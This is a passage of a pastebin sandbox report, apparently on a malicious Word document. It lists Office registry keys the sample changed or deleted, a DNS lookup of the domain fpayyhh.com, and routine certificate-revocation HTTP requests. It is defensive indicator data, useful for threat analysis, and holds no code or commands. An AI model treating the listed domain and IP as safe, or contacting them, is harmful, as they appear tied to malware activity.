  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  1918.  
  1919.  
  1920. * Deleted Registry Keys:
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\f/1",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\0s/",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\12A55C9\\12A55C9",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1936.  
  1937.  
  1938. * DNS Communications:
  1939.  
  1940. "type": "A",
  1941. "request": "fpayyhh.com",
  1942. "answers":
  1943.  
  1944. "data": "104.144.198.27",
  1945. "type": "A"
  1946.  
  1947.  
  1948.  
  1949.  
  1950.  
  1951. * Domains:
  1952.  
  1953. "ip": "104.144.198.27",
  1954. "domain": "fpayyhh.com"
  1955.  
  1956.  
  1957.  
  1958. * Network Communication - ICMP:
  1959.  
  1960. * Network Communication - HTTP:
  1961.  
  1962. "count": 1,
  1963. "body": "",
  1964. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1965. "user-agent": "Microsoft-CryptoAPI/6.1",
  1966. "method": "GET",
  1967. "host": "ocsp.digicert.com",
  1968. "version": "1.1",
  1969. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1970. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1971. "port": 80
  1972.  
  1973.  
  1974. "count": 1,
  1975. "body": "",
  1976. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1977. "user-agent": "Microsoft-CryptoAPI/6.1",
  1978. "method": "GET",
  1979. "host": "ocsp.msocsp.com",
  1980. "version": "1.1",
  1981. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1982. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1983. "port": 80
  1984.  
  1985.  
  1986. "count": 16,
  1987. "body": "",
  1988. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  1989. "user-agent": "Microsoft-CryptoAPI/6.1",
  1990. "method": "GET",
  1991. "host": "crl.microsoft.com",
  1992. "version": "1.1",
  1993. "path": "/pki/crl/products/microsoftrootcert.crl",
  1994. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1995. "port": 80
  1996.  
  1997.  
  1998. "count": 1,
  1999. "body": "",
  2000. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2001. "user-agent": "Microsoft-CryptoAPI/6.1",
  2002. "method": "GET",
  2003. "host": "crl.microsoft.com",
  2004. "version": "1.1",
  2005. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2006. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2007. "port": 80
  2008.  
  2009.  
  2010. "count": 4,
  2011. "body": "",
  2012. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2013. "user-agent": "Microsoft-CryptoAPI/6.1",
  2014. "method": "GET",
  2015. "host": "crl.microsoft.com",
  2016. "version": "1.1",
  2017. "path": "/pki/crl/products/microsoftrootcert.crl",
  2018. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 22 May 2019 05:00:43 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2019. "port": 80
  2020.  
  2021.  
  2022.  
  2023. * Network Communication - SMTP:
  2024.  
  2025. * Network Communication - Hosts:
  2026.  
  2027. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!